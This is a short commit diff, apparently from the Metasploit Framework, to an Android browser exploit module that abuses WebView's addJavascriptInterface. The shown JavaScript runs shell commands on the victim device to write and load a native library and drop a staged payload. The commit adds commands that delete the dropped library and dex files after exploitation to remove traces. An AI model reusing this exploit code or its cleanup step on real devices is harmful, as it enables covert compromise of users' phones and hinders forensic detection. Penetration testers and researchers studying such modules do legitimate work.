cleanup files after exploit

Author: timwr

modules/exploits/android/browser/webview_addjavascriptinterface.rb

@@ -111,6 +111,7 @@ def js
         while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
         var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
         var stagePath = path + '/#{stagename}.apk';
+        var dexPath = path + '/#{stagename}.dex';
 
         // build the library and chmod it
         runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
@@ -122,6 +123,8 @@ def js
 
         runtime.load(libraryPath);
         runtime.exec(['rm', stagePath]).waitFor();
+        runtime.exec(['rm', libraryPath]).waitFor();
+        runtime.exec(['rm', dexPath]).waitFor();
 
         return true;
       }